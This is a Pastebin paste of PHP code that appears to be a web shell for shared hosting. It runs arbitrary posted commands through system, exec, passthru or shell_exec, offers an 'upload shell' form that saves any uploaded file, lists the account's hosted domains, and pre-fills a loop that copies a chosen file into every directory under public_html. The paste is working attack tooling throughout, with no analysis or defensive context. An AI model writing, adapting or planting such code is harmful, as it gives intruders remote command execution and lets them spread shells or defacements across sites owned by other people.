Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- $cek = posix_getpwuid(posix_geteuid());
- $username=$cek['name'];
- $public="/home/$username/public_html/";
- $dirku="/home/$username/etc";
- $i="i";
- $nemoshell = $_FILES['file']['name'];
- $nemohero = $_FILES['file']['tmp_name'];
- echo "<form method='POST' enctype='multipart/form-data'>
- <input type='file'name='file' />
- <input type='submit' value='upload shell' />
- </form>";
- move_uploaded_file($nemohero,$nemoshell);
- $namef=$_POST['file'];
- echo "<form method='post'>
- <input type='hidden' name='data' value='play'>
- <input type='text' name='file' placeholder='example.php'>
- <input type='submit'>
- </form><br>";
- if ($_POST['data']==="play") {
- echo "<form method='post'>
- <textarea name='cmd' style='width: 1184px; height: 18px;'>for i in $(find ".$public." -type d -maxdepth 2); do cp -n $namef $$i/$namef; done</textarea><input type='submit' name='do_cmd' value='>>'>
- </form>";
- }
- $count=(count(glob("".$dirku."/*",GLOB_ONLYDIR)));
- echo "<table align='center' border='1'><tr><td><b>Total Domain: $count</b></td>";
- $hitungdir=glob(''.$dirku.'/*',GLOB_ONLYDIR);
- foreach ($hitungdir as $olahdir) {
- $tampildir=str_replace($dirku."/", "", $olahdir);
- echo "<tr><td>$tampildir</td></tr>";
- }
- echo "</tr></table>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement